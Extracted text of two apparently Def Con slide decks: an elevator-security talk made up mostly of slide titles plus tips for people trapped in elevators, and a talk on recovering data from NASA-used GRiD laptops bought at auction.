Direct Operation via the Controller http://enterthecore.net Machine Room – Direct Operation via the Controller http://enterthecore.net Machine Room – Hacking & Manipulating the Controller http://enterthecore.net Machine Room – Hacking & Manipulating the Controller http://enterthecore.net Machine Room – Hacking & Manipulating (5-Year Test) http://enterthecore.net Machine Room – Hacking & Manipulating is Dangerous! http://enterthecore.net How POTUS Rolls ELEVATOR PHREAKING http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators http://enterthecore.net Emergency Phones in Elevators COMMON VIOLATIONS, ISSUES, & GUIDANCE http://enterthecore.net Entrapments http://enterthecore.net Code Violations http://enterthecore.net Code Violations http://enterthecore.net Phone Violations http://enterthecore.net Alarm Bell http://enterthecore.net “Assault” Switch http://enterthecore.net “Assault” Switch http://enterthecore.net Unsecured Motor Rooms and Hoistways http://enterthecore.net Unsecured Motor Rooms and Hoistways http://enterthecore.net Unsecured Motor Rooms and Hoistways http://enterthecore.net Unsecured Motor Rooms and Hoistways http://enterthecore.net Improperly Secured Motor Rooms and Hoistways http://enterthecore.net Improperly Secured Motor Rooms and Hoistways http://enterthecore.net Improperly Secured Motor Rooms and Hoistways http://enterthecore.net Improperly Secured Motor Rooms and Hoistways http://enterthecore.net Know Who Your Contractor Is! http://enterthecore.net Know Who Your Contractor Is! 1. Facilities / Operations 2. Elevator Contractor - Constructor - Maintenance Contractor / Mechanic • parts, oil, grease -or- regular maintenance • basic troubleshooting - Adjuster / Troubleshooter 3. Consultants - Performance - Monitoring - Safety / Post-accidents 4. Inspection - AHJ (Authority Having Jurisdiction… Municipal / State Inspectors) - Third Party (QEI – Qualified Elevator Inspector) - Second Party (Contractor inspects and certifies self) http://enterthecore.net Oversight of Your Maintenance Control Program http://enterthecore.net Oversight of Your Maintenance Control Program http://enterthecore.net Oversight of Your Maintenance Control Program http://enterthecore.net Oversight of Your Maintenance Control Program http://enterthecore.net Conflicts of Interest http://enterthecore.net Be Wary of Bullshit Service http://enterthecore.net Be Wary of Bullshit Service http://enterthecore.net Tests Are Important! http://enterthecore.net Follow All of Your Building Procedures SO WHAT NOW? http://enterthecore.net So What Now ? APT elevator attacks ?? Impossibru !! http://enterthecore.net There are Elevator Techs http://enterthecore.net And There are Elevator Techs who are Security Consultants http://enterthecore.net “I Don’t Want My Elevator on the Internet but I Want Monitoring” FINAL TIPS PREVENTING & CORRECTING PROBLEMS http://enterthecore.net If Someone (Including You) Is Stuck in an Elevator http://enterthecore.net Follow These Simple Steps… 1. Don’t Panic http://enterthecore.net Follow These Simple Steps… 1. Don’t Panic (and don’t press emergency call just yet) http://enterthecore.net Follow These Simple Steps… 1. Don’t Panic • Main lights off? You don’t have many options (emerg. call) • Main lights on? Try the following… http://enterthecore.net Follow These Simple Steps… 1. Don’t Panic 2. Press Door Open (exit safely if doors open) http://enterthecore.net Follow These Simple Steps… 1. Don’t Panic 2. Press Door Open 3. Press Door Close, Then Press Door Open Again http://enterthecore.net Follow These Simple Steps… 1. Don’t Panic 2. Press Door Open 3. Press Door Close, Then Press Door Open Again 4. Try Placing Calls to Other Floors, Including Lobby http://enterthecore.net Follow These Simple Steps… 1. Don’t Panic 2. Press Door Open 3. Press Door Close, Then Press Door Open Again 4. Try Placing Calls to Other Floors, Including Lobby 5. Make Sure You’re Badged In, Try Floor Calls Again http://enterthecore.net Follow These Simple Steps… 1. Don’t Panic 2. Press Door Open 3. Press Door Close, Then Press Door Open Again 4. Try Placing Calls to Other Floors, Including Lobby 5. Make Sure You’re Badged In, Try Floor Calls Again 6. If Authorized, Try Using Keyswitches (IND Mode) http://enterthecore.net Follow These Simple Steps… 1. Don’t Panic 2. Press Door Open 3. Press Door Close, Then Press Door Open Again 4. Try Placing Calls to Other Floors, Including Lobby 5. Make Sure You’re Badged In, Try Floor Calls Again 6. If Authorized, Try Using Keyswitches (IND Mode) 7. Verify the Cab Doors Are Closed (Unless you heard something loudly fail) http://enterthecore.net Follow These Simple Steps… 1. Don’t Panic 2. Press Door Open 3. Press Door Close, Then Press Door Open Again 4. Try Placing Calls to Other Floors, Including Lobby 5. Make Sure You’re Badged In, Try Floor Calls Again 6. If Authorized, Try Using Keyswitches (IND Mode) 7. Verify the Cab Doors Are Closed 8. If Nothing Worked, Call For Help (Emergency Phone or Mobile Phone or Radio) http://enterthecore.net Things To NEVER Try When Stuck… 1. Leaving Through the Top Hatch • It’s dangerous • It will foul up other procedures http://enterthecore.net Things To NEVER Try When Stuck… 1. Leaving Through the Top Hatch 2. Exiting a Mis-Leveled Car • If you have to jump, that’s too far! http://enterthecore.net Things To NEVER Try When Stuck… 1. Leaving Through the Top Hatch 2. Exiting a Mis-Leveled Car 3. The Safest Place to Be is in the Elevator Itself http://enterthecore.net Thank You Very Much! delta@enterthecore.net howard@payneelevator.com @deviantollam @sgthowardpayne
pdf
Amateur Digital Archeology Matt Joyce "In the streets of Hau-kai, we wait Night comes, winter descends The lights of the world grow cold And, in this three-hundredth year From the ascendancy of Bilat He will come who treads the dawn Tramples the sun beneath his feet And judges the souls of men He will stride across the rooftops, And he will fire the engines of God.” - The Engines of God, Jack McDevitt http://pgsc.space/ Hacker is just another word for amateur. “Three young IS militants lie dead on the banks of the River Tigris.” What if the story stopped there? – Quentin Sommerville, Riam Dalati for BBC News “They left behind personal photos and documents which reveal the extraordinary story of their private lives.” This is a great example of how digital forensics can help produce valuable primary and secondary sources. http://www.bbc.co.uk/news/resources/idt-sh/is_fighters – US National Archive / History in the Raw “Documents--diaries, letters, drawings, and memoirs--created by those who participated in or witnessed the events of the past tell us something that even the best-written article or book cannot convey. The use of primary sources exposes students to important historical concepts. First, students become aware that all written history reflects an author's interpretation of past events. Therefore, as students read a historical account, they can recognize its subjective nature. Second, through primary sources the students directly touch the lives of people in the past. Further, as students use primary sources, they develop important analytical skills.” Adam at NYC Resistor has this to say about siphoning the brains out of EEPROMs. “Step zero: Find a board with a brain.” -phooky Concerning ‘amateur’ archeology… Part of being an amateur is recognizing your limitations.
 Part of being an amateur is being dumb enough not to. Some of you are going to be thinking this during this talk. This is Def Con. We are way more Lando Calrissian, than we are Professor Jones. The National Air and Space Museum has several GRiD compass computers in its collections, including one that has flown on two Shuttle flights, STS-35 and STS-36. The modifications were minor: the attachment of pieces of Velcro to fasten it to various places on the flight deck, a modification of the power cord to plug into the Shuttle’s power supply, and the addition of a small fan to compensate for the lack of convective cooling in zero-G. A lot of custom work went into the development of specialized software, however: to aid Shuttle astronauts in managing their mission and assisting with navigation, and as a back-up to prepare the vehicle for return to Earth. As with every item carried on the Shuttle, the software had to be rigorously tested before it was loaded onto the computer. reference: https://airandspace.si.edu/stories/editorial/laptop-space NASA OIG Report 0-00-16-0061-S The Sad epitaph to pioneer’s data systems.
 Chris Fenton’s Cray 1 / XMP project Possibly the last known early Cray OS data dump. archive.org was contacted … at Def Con. Cray XMP is now.. preserved… At least, for a while. https://archive.org/details/Cos1.17DiskImageForCray-1x-mp archive.org is super important. If you see this dude, give him a hug. but there needs to be more done. Who gives a shit about data on a 386? Seriously, there’s not a lot of data you could preserve on these things… so why care? There’s only 140 chars in one of these… And lord knows no one can shut up about em. The european kids talk about ‘right to be forgotten’ on the internet… We have a much larger amount of data being forgotten when it shouldn’t be. Soundcloud… just announced 40% layoffs. This spurned a response from archive.org donate here if you care: https://archive.org/donate/ The Trump Presidential Library is going to probably be 75% tweets and 25% executive orders… 
 ( made up those stats ) He is one of the first to expose a flaw in the existing presidential archival process. social networking platforms. Probably, the first laptop and first clamshell ever was the grid compass https://www.youtube.com/watch?v=OQgoAQq7bP4 Computer History Museum - Pioneering the Laptop Engineering the GRiD Compass “Here's a NASA story for you - the first shuttle flight that carried a Compass for the first time, it also carried a Texas Instruments laptop. Texas Instruments started crowing about how their computer was the first laptop in space, but we disputed their claim. We finally had to get a verdict from NASA about whose laptop was first - and the GRiD Compass was declared the first, only because it was stored in a more forward storage compartment. So we were first in space by microseconds. *grin*” - Tim Carlson former GRiD Engineer GRiD’s ‘alleged’ gov’t affair • NSA used em ( scrubbing bubbles ) • NRO used em ( some say the football was a grid ) • NASA used em • SPAWAR and other military forces used em • Marines fought aliens with em… ( Aliens 1986 ) =P Gratuitous GRiD laptops fighting aliens shot… how the hell do you get your hands on old NASA gear? Before we get to the meat of that task, lets talk potatoes. Seriously… pretty much ANYTHING. You can pretty much buy most anything at a government auction… or as scrap. - Francois Rautenbach ““[This man] started selling stuff on eBay and one day got a visit from the FBI wanting to know where he got it, He was able to find the original invoice and showed it to them and they went away. But it scared him and he didn’t want to tell anyone else in the USA what he had.”” What’s an AGC? If you have to ask. You have just found a really lovely rabbit hole. Francois Rautenboch basically bought a test AGC unit off a guy who bought it as scrap. The Apollo Guidance Computer is the first silicon micro controller ever. The progenitor of the silicon age. All of it. Francois has several amazing videos on Youtube. Including reading data from memory. Check em out! https://www.youtube.com/channel/UC1KeUTUd- fDv553C3UNr7xQ So, was there software included? Yes.. sorta. Francois can read data. But… thanks to an intern and several nerds, the source code is now on GitHub. https://github.com/chrislgarry/Apollo-11 Much love to Ron Burkey, Gary Neff, Chris Garry In this case the software was hiding in a library in hard copy. Seriously… someone printed out the source code… and bound it. This whole situation is really entertaining. Also really bad. Finding Primary Source Digital History WARNING: I have no formalized process for this. History is everywhere. It is at Def Con. Right now. Being made by all of you. Seriously, Hacking at Random 2009 is in the Fifth Estate Movie. I was there. I got messed up on Grappa thanks to Italian Embassy hackers. Where did I find NASA flight modified systems? I found them being auctioned on the internet. They likely entered the public market via GSA Liquidation auction. Each state as their own. Federal tends to use private liquidation services. ALL Auctions are SUPER SHADY Disclaimer: Example of what shady looks like… Authenticating the Artifact “Yo dawg, I heard you like to forge shmoocon badges?” - my inner demons The Smithsonian has
 a couple of these… And high quality photos… The Paper Trail Trust your eyes and ears… but verify with hard copy. Okay… looks legit… But uhm… early 90s space missions… did DoD work occasionally… I mean… shouldn’t the memory have been pulled? A warning, concerning classified materials Also ITAR, isn’t it cool that data can be a munition? Nothing in this presentation is marked classified. Nothing is ITAR covered, as far as I know it to be. Nothing is at all sensitive, as far as I know it to be. Nothing is marked UNCLASSIFIED//FOUO. If it were, I would not release it to you. A gentle reminder that I am an amateur. Much like the guy above. Storing the Artifact In technology, we see things as ephemeral. In reality, all things are. Electronics, like beer temperatures. So do some critters…. who nominally dislike electronics. • Cool env. Chilly not Cold. • Dark. Protect media, displays, signs, housing… • Not damp, not humid. Dehumidifier if necessary. But not so dry you ruin gaskets. • Clean. Clutter attracts critters. • Treat it like EVIDENCE. • Photograph how you found it. Never stop taking photos and recording information. • Keep logs. Paperwork / chain of custody. Good auction houses help with this. They love a good documented chain of custody. • When working with the unit, try to do it with someone else in the room. Peer review / Witnesses. • Log everything you do, and when. • Plan every action. Follow the plan. Don’t get fancy. Bit Rot Every bit is sacred. Every bit is bound by thermodynamics. Life span of Magnetic Media • 5 - 10 years • Maybe as long as 50. But don’t count on it. • Cool environments will prolong life. • Too dry and you might reduce lifespan of gaskets / rubbers. • Much like a car, occasionally spinning up the system will keep the mechanical components from locking up. Lifespan of EEPROM / Flash • Floating Gate will bit rot it in probably under a century. • You can expect 10 years safely. • Some ROMs are UV sensitive. • Extreme heat or cold is bad for them. • Nuclear furnaces should be avoided. • Do not store in anything that takes skin off of people. • Always wear your grounding bracelet when handling. • No Rugs Capacitors and other gooey components… • Caps die. Anything older than 50 years… Swap caps before you attempt a power on. • Anything new … that number is even lower. Some caps have shown lifetime failures in under 3 years. So… oddly, older electronics are easier to work with than newer stuff. More tolerant to bad voltage / current situations etc. • When powering on, thermal imaging can be really nice. Initial Inspection of Device… The just stand there and look at it method. Huh… that’s not stock… Hi there… what’s your name… Alright.. App ROMs. HINT: someone didn’t pull data from the unit. Strings… well hah! Dump worked. Who is ‘slick’? “Hi Matt, Yeah, that's me. Wow, I haven't seen those binary images in 29 years. I don't know how much I will be able to help you with that system. If it flew in 1994, that was 6 years after I left GRiD (in June 1988). The ROM images are production diagnostic/test ROMs, and those were produced in April of 1988. Each diagnostic was it's own MSDOS executable, thus the multiple iterations of my name within the ROMs (that was a standard header file / title screen I used for each diagnostic). Maybe NASA wanted diagnostic capability for the computer that wasn't on the hard drive. I am surprised that there were 6 year old images on that system, but -- I don't know what GRiD did for diagnostics after I left. As far as the fan/power/interface modifications - we found out using the magnesium case for cooling doesn't work well in space (0G), so the units had to be modified. I think the power connector was so the power supply unit, which normally slid inside the system, could stay outside - that would keep the heat the power supply generated outside of the system. But, like I said, this system was 6 years after I left GRiD, I don't know who did the mods or exactly why. The mods may have been done internally, or an outside source could have received the unit from GRiD and performed the mods then pass the unit on to NASA. I really don't know.”… Timothy ‘Slick’ Carlson responded to emails Was also cool with sharing that with you all. ROM running in dos box Courtesy Tim Carlson, Author – Timothy Carlson “I hexedited the binaries you sent and pulled out one of the DOS executables - which happened to be the speaker test. Then I pulled it up in a DOS box and got the picture, above. BTW: all of the GRiD diagnostics were written in PL/M86, except for parts of the coprocessor test which were done in FORTRAN86 for the floating point math. These ROMs appear to be something that were glommed together after I left. Besides the GRiD diagnostics, they have some of the old Norton Utilities included in the images. Anyway - just thought I'd share. And thanks for sending the ROM images - they have been making me smile all morning!” SPOC vs PGSC GRiD Compass vs GRiD Case GRiD Compass 1129 SPOC “The GRiD Compass was first used on the Space Shuttle mission launched from Kennedy Space Center on November 28, 1983. The computer, code-named SPOC (Shuttle Portable On- Board Computer) by NASA was slightly modified for operation in a weightless environment…” (Neither this press release nor any from NASA notes the similarity between the acronym and the better-known character from the television series Star Trek.) The Smithsonian has this to say about the SPOC The SPOC in a ‘forward compartment’ of the orbiter. Challenger Disaster SPOC systems on challenger are believed to have survived the crash. — See Computer History Museum Video The PGSC took over for the SPOC in 1988 The GRiD Case 1530 was the standard PGSC from 1988 until 1997. SPOC / PGSC Apps No App Store sadly… though GRiD did have their own 1980s version of cloud storage =P. You can download a copy of the Orbiter Tracking app from the SPOC. It also ran on the PGSC systems. So now that we have ‘visually’ inspected. And syphoned the brains out of a couple App ROMs… STS-41 shot Hold on a tic.. 1… that’s a floppy… 2.. those are KEY CAPS! STS-94 STS-64 … clearly you can see… no key caps. STS-47 Plain as day… Key caps. Also no SAIC logo. STS-65 Key Caps… two laptops( and casios ) where is that? Space Lab Microgravity Science Laboratory All of the flights correspond to these missions. Visually all of these laptops who I could find legible serial numbers for… are S/N 1073 or 106x These systems sn 1044 / 1045… probably did not fly. Analysis of the hard copy that came with SN 1044 • 40 MB Hard Disk • RS-422 Connectors ( Rockwell Serial Interface ) • Diagnostic P-ROMs • Epoxy EVERYWHERE • Shorter screws • No EMI recertification • Remove Temperature Strips Removal of the Housing. Small children should leave the room now. people with weak hearts as well. Second attempt to power on… doomed to fail. Look at all that silicon. And that entirely not stock battery connector / battery. SN 1044 - 3712 Hours SN 1045 -1453 Hours Hour counters. NASA Added these. More brains for the brain sucking gods… This really doesn’t work if you want to not cut pins. BIOS was pulled. and is a custom build. the hard disk geometry is in bios. Dear Scotland. WTF? Seriously guys. – Timothy Carlson “Also - when I saw the picture of the hard drive, the first thing I thought was "Oh, no - Conner Peripherals". We used to have a problem with those drives that we called "stiction" - the heads would 'stick' to the platters and stop the platters from spinning. If the drive doesn't spin up for you, that might be the problem. How did we fix it? Well, the techs on the line would rap the case with their knuckles, and sometimes it would free the heads. But we found that would damage the platters (duh!) when the heads skipped across them, if they broke loose from the stiction - not to mention the damage to the original stiction point. We ended up sending a lot of drives back to Conner.” Pulling the disks…. •Amazed they spun •Very Corrupted •Needed Physical ATA Card •GNU ddrescue ( love u ) •MS DOS •Diagnostic ROM Software •DDSE Flight Mode? DDSE .. flight mode… That’s NASA. And there’s some clues… Check the .bat file names Tim Carlson’s Diagnostic Apps.. on disk too. What binaries I have are on http://pgsc.space/ 
 Feel free to rip into em =P Look the presentation is not interactive… or something • Working now on restoring a stock grid case 1520 • Has bad display • Has dead ( locked disk ) • Needs new Bios • Needs CMOS chip hot-wired • Will hopefully run some of the software we’ve pulled. Lessons learned… • My weak ass methodology yielded results. • Authentication of artifact revealed that Auction had info wrong. • Corroboration of the systems existence while weak was possible. • Weird added module was an RS-422 interface ( probably ) • Original use of systems was likely in a long life testing role. • Disks showed significant signs of bit rot. • Flash memory was intact. The easiest way to do recovery work on NASA gear is… to work there. You should consider a career with them… it’s highly rewarding. McMoon’s The LOIRP project. https://loirp.arc.nasa.gov/loirp_gallery/ https://2017.spaceappschallenge.org/ The Space Apps Challenge helps NASA to make use of their data. Anyone can help. Thank You • NASA • NYC Resistor • Tim ‘Slick’ Carlson • The Computer History Museum • Def Con Goons / CFP Team / Organizers / You all • All those mentioned within and any I forgot matt@nycresistor.com http://pgsc.space/ will contain archival data roms / research
pdf